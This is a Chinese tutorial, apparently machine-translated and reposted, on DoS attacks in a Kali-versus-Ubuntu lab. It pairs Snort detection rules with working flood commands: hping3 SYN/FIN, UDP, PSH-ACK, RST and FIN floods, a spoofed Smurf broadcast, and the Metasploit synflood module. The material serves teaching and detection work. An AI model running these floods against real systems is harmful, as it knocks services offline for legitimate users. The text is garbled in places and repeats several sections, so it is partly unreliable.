DOS攻击渗透测试(第1部分)

今天我们将描述DOS / DDos攻击,这里我们将介绍什么是dos攻击; 如何在任何目标网络上对Dos进行午餐攻击以及其结果如何以及受害者如何预测其网络的Dos攻击。
需求
攻击者机器: kali Linux
受害者机器: Ubuntu
可选: Wireshark(我们在教程中添加了它,以便我们可以清楚地确认所有传入和传出的网络数据包)


什么是DOS / DDOS攻击

表格维基百科
一个  阻断服务攻击  (DoS攻击)是一种网络攻击,其中攻击者寻找使一台机器或网络资源通过干扰连接到互联网主机的临时或无限期服务不可用其审议的用户。拒绝服务通常是通过使用过多的请求充斥目标机器或资源以试图使系统过载并防止满足某些或所有合法请求来实现的。
在  分布式拒绝服务攻击  (DDoS攻击)中,充斥受害者的传入流量源自许多不同的来源。DoS或DDoS攻击类似于拥挤进入商店或企业的入口门或大门的一群人,并且不允许合法方进入商店或企业,从而破坏正常运营。
基本上攻击者机器要么自己在目标机器上发送无限请求数据包而不等待目标网络的回复数据包,要么使用机器人(主机)在目标机器上发送请求数据包。让我们使用下面的图像更多地研究它,在这里你可以观察攻击者 机器放置在顶部的 3个阶段,而中间部分保持由攻击者机器控制的主机,在底部你可以看到目标机器。
从下图中可以看出,攻击者机器希望借助机器人在目标机器上发送ICMP回应请求数据包,这样会增加目标网络上的攻击者数量和请求数据包数量并导致流量泛滥。现在,当时目标网络过载,从而导致一些服务失败,从而阻止部分或全部合法请求得到满足。


DOS / DDOS类别

基于卷的攻击:攻击的目的是通过以每秒每比特数发送ICMP或UDP或TCP流量来充斥目标网络的带宽。
基于协议的攻击:这种攻击通过每秒发送TCP SYN泛洪,死亡Ping或碎片数据包攻击等数据包来关注实际目标服务器资源,以拆除目标并使其对其他合法请求无响应。
应用层攻击:攻击者不会试图拆除整个服务器,而是通过每秒发送请求来集中攻击运行应用程序,例如通过对Apache的无限请求攻击WordPress,Joomla Web服务器,使其无法响应其他合法请求。


如何执行DOS攻击?

如果您了解OSI 7层模型,那么您可能知道每当我们向服务器发送请求数据包以访问任何特定服务(例如浏览Google.com)时,此过程通过传递7层OSI模型执行,最后我们能够在浏览器上访问Google.com。
现在假设端口80在目标网络(192.168.1.107)中打开以访问其HTTP服务,以便您可以通过浏览器打开其网站并获取这些网页中可用的信息。所以基本上攻击者计划通过端口80为想要与目标机器交互的其他用户减慢HTTP服务,因为结果服务器将无法回复其他合法请求,这将被视为Protocol Dos攻击。
攻击者可以使用任何工具进行DOS攻击,但我们使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其为其他用户提供的HTTP服务。
hping3 -F --flood -p 80 192.168.1.107
上述命令将在目标网络的端口80上每秒发送无限请求数据包。
什么会影响Dos攻击?
正如我们所描述的那样,任何类型的Dos攻击都会影响其用户和客户端与其建立连接的服务器服务。在这里,当我们在目标网络的端口80上发送了无限请求数据包时,它应该使合法用户无法使用HTTP服务。

因此,如果我将在您的浏览器上探索目标IP以便以合法用户身份访问其网站,那么您可以观察到浏览器无法与服务器连接以获取HTTP服务
如何预测我们网络中的DOS攻击?
在网络中配置IDS,它将监控网络上的传入网络流量,并为系统管理员生成可疑流量警报。我们已经在系统上安装了Snort(ubuntu:192.168.1.107),因为NIDS(网络入侵检测系统)请阅读我们之前关于Snort安装(手动  或使用  apt-respiratory)的相关文章及其  规则配置  ,以便将其作为IDS用于您的网络。


TCP SYN Flood

在ubuntu的终端执行以下命令,在文本编辑器中打开snort本地规则文件。
sudo gedit /etc/snort/rules/local.rules
alert tcp any any -> 192.168.1.107 any ( msg:"SYN Flood Dos"; flags:S; sid:1000006; )
上面的规则将监视192.168.1.107上的传入TCP-SYN数据包,方法是将其作为“SYN Flood Dos”生成警报。现在通过在终端执行以下命令来打开snort的IDS模式:

sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
现在通过使用攻击者的机器发送无限的SYN数据包来测试上述规则。打开终端并输入msfconsole for metasploit framework并执行以下命令以运行syn flood exploit。
此漏洞将在目标网络上发送无数的syn数据包以拆除其服务。
使用auxiliary / dos / tcp / synflood
msf auxiliary(synflood)> set rhost 192.168.1.107(目标IP)
msf auxiliary(synflood)> set shost 192.168.1.105(攻击者的IP)
msf辅助(synflood)>利用
我们已经为攻击者的IP设置了shost,仅用于教程,否则它是可选的,或者你可以解决你的网络的任何随机IP,现在可以看到SYN Flood已经在端口80上发布,默认它被认为是基于协议的Dos攻击,如上所述。
正如我上面已经声明的那样,为什么我们在本教程中涉及wireshark,以便您可以清楚地看到数据包从攻击者网络发送到目标网络。因此,在下面给出的图像中,您可以注意到端口80上目标网络上发送的无限SYN数据包。
回到你的目标机器上,你会注意到snort完全相同,捕获所有即将到来的流量,你会发现它正在为“SYN Flood Dos” 生成警报。因此,您可以阻止攻击者的IP(192.168.1.105)来保护您的网络免于丢弃所有进一步发送到您的网络的数据包。


UDP洪水


现在再次打开本地规则文件以生成UDP flood Dos攻击的警报并输入以下规则并保存文件。
alert udp any any -> 192.168.1.107 any (msg: "UDP Flood Dos"; sid:1000001; )
上面的规则将监视192.168.1.107上的传入UDP数据包,方法是将其作为“UDP Flood Dos”生成警报。现在通过在终端执行以下命令来打开snort的IDS模式:

sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们正在使用Hping3进行攻击,以便为目标网络生成流量洪水,从而减慢其对其他用户的UDP服务,如上所述,它被视为基于卷的Dos攻击
hping3 --udp --flood -p 80 192.168.1.107
以上命令将在目标网络的端口80上每秒发送无限位数据包。
回到你的目标机器上,snort正在捕获所有即将到来的流量,你会发现它正在为UDP Flood Dos攻击发出警报。因此,您可以阻止攻击者的IP以保护您的网络免受进一步扫描。


SYN FIN洪水


默认情况下,snort捕获SYN FIN Flood数据包使用下面给出的命令打开IDS模式。
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其他用户的网络服务速度。
hping3 -SF --flood -p 80 192.168.1.107
回到你的目标机器上,你会发现snort完全以同样的方式捕获所有即将到来的流量,你会发现它正在为“SYN-FIN Flood Dos” 生成警报。因此,您可以阻止攻击者的IP(192.168.1.105)来保护您的网络免于丢弃所有进一步发送到您的网络的数据包。


PUSH ACK洪水


现在再次打开本地规则文件,为某些标志组合(如PSH-ACK数据包)生成警报,并输入以下规则并保存文件。
alert tcp any any -> 192.168.1.107 any (msg: "PUSH-ACK Flood Dos"; sid:1000001; flags:PA; )
上述规则将监视192.168.1.107上的传入TCP-PSH / ACK数据包,方法是将其作为“PUSH-ACK Flood Dos”生成警报。现在通过在终端执行以下命令来打开snort的IDS模式:

sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其他用户的网络服务速度。
hping3 -PA --flood -p 80 192.168.1.107
以上命令将在目标网络的端口80上每秒发送无限位数据包。
回到你的目标机器上,snort正在捕获所有即将到来的流量,你会发现它正在为UDP Flood Dos攻击发出警报。因此,您可以阻止攻击者的IP以保护您的网络免受进一步扫描。


SYN FIN洪水


默认情况下,snort捕获SYN FIN Flood数据包使用下面给出的命令打开IDS模式。
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其他用户的网络服务速度
hping3 -SF --flood -p 80 192.168.1.107
因此,在下面给出的图像中,您可以注意到端口80上从192.168.1.105发送到192.168.1.107的无限SYN-FIN数据包。


PUSH ACK洪水


现在再次打开本地规则文件,为某些标志组合(如PSH-ACK数据包)生成警报,并输入以下规则并保存文件。


alert tcp any any -> 192.168.1.107 any (msg: "PUSH-ACK Flood Dos"; sid:1000001; flags:PA; )

上述规则将监视192.168.1.107上的传入TCP-PSH / ACK数据包,方法是将其作为“PUSH-ACK Flood Dos”生成警报。现在通过在终端执行以下命令来打开snort的IDS模式:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其他用户的网络服务速度。
hping3 -PA --flood -p 80 192.168.1.107

以上命令将在目标网络的端口80上每秒发送无限位数据

因此,在下面给出的图像中,您可以注意到端口80上从192.168.1.105发送到192.168.1.107的无限PSH-ACK数据包。
回到你的目标机器上,你会注意到snort完全以同样的方式捕获所有即将到来的流量,你会发现它正在为“PUSH-ACK Flood Dos” 生成警报。因此,您可以阻止攻击者的IP(192.168.1.105)来保护您的网络免于丢弃所有进一步发送到您的网络的数据包。


重置洪水

现在再次打开本地规则文件以生成重置标志数据包的警报,并输入以下规则并保存文件。
alert tcp any any -> 192.168.1.107 any (msg: "Reset Dos"; sid:1000001; flags:R; )

上面的规则将监视192.168.1.107上的传入TCP-RST数据包,方法是将其作为“重置Dos”生成警报。现在通过在终端执行以下命令来打开snort的IDS模式:

sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其他用户的网络服务速度。
hping3 -R --flood -p 80 192.168.1.107

以上命令将在目标网络的端口80上每秒发送无限位数据包。

因此,在下面给出的图像中,您可以注意到端口80上从192.168.1.105发送到192.168.1.107的无限RST(重置)数据包。
回到你的目标机器上,你会发现snort完全以同样的方式捕获所有即将到来的流量,你会发现它正在为“重置Dos” 生成警报。因此,您可以阻止攻击者的IP(192.168.1.105)来保护您的网络免于丢弃所有进一步发送到您的网络的数据包。


FIN Flood

现在再次打开本地规则文件以生成Fin标志数据包的警报,并输入以下规则并保存文件。
alert tcp any any -> 192.168.1.107 any (msg: "FIN Dos"; sid:1000001; flags:F; )

上面的规则将监视192.168.1.107上的传入TCP-RST数据包,方法是将其作为“FIN Dos”生成警报。现在通过在终端执行以下命令来打开snort的IDS模式:

sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量洪水,以减慢其他用户的网络服务速度。
hping3 -F flood -p 80 192.168.1.107

以上命令将在目标网络的端口80上每秒发送无限位数据包。

因此,在下面给出的图像中,您可以注意到端口80上从192.168.1.105发送到192.168.1.107的无限FIN(已完成)数据包。
回到你的目标机器上,你会发现snort完全以同样的方式捕获所有即将到来的流量,你会发现它正在为“FIN Dos” 生成警报。因此,您可以阻止攻击者的IP(192.168.1.105)来保护您的网络免于丢弃所有进一步发送到您的网络的数据包。


Smruf攻击

Smurf攻击是DDOS攻击,其中大量的Internet控制消息协议数据包用于生成包含欺骗源IP的伪Echo请求(icmp类型:8),该IP实际上是目标网络地址。然后将该请求分组发送到网络上的所有网络主机,然后每个主机向欺骗的源地址(目标IP)发送ICMP响应。目标的计算机将充斥着交通; 这可能会降低目标计算机的速度,使其无法用于其他用户。
现在再次打开本地规则文件以生成ICMP数据包的警报,并输入以下规则并保存文件。
alert icmp any any -> any any (msg: "Smruf Dos Attack"; sid:1000003;itype:8; )

上面的规则将监视192.168.1.103上的ICMP数据包,方法是将其警告为“Smurf Dos Attack”。现在通过在终端执行以下命令来打开snort的IDS模式:

sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
我们再次使用Hping3进行攻击,为目标网络生成流量ICMP洪水,以减慢其他用户的网络服务速度。
hping3 --icmp --flood -c 1000 --spoof 192.168.1.103 192.168.1.255

以上命令将生成包含欺骗源IP:192.168.1.103的伪ICMP回应请求数据包,该数据库基本上是我们的受害者网络,然后该请求数据包在192.168.1.255上传输到主机网络,然后该主机向欺骗者发送ICMP响应我们的受害者的机器在IDS模式下的源地址。

从下面给出的图像你可以看到它显示源机器192.168.1.103发送icmp echo请求包到192.168.1.255,但正如我们所知,实际上攻击者是这个senario背后的主要罪魁祸首。
回到你的目标机器上,你会发现snort正在捕获从192.168.1.103流向192.168.1.255的所有流量,并为“Smurf Dos Attack” 生成警报,这意味着我们的机器(受害者的机器)正在ping其他主机那个网络。因此网络管理员应该注意这种流量,并且必须检查其网络的数据包的系统活动和合法的ICMP请求。
转载请注明本文链接: http://www.mayidui.net/t2276.html
话题: 渗透 教程
游客
登录后才可以回帖,登录 或者 注册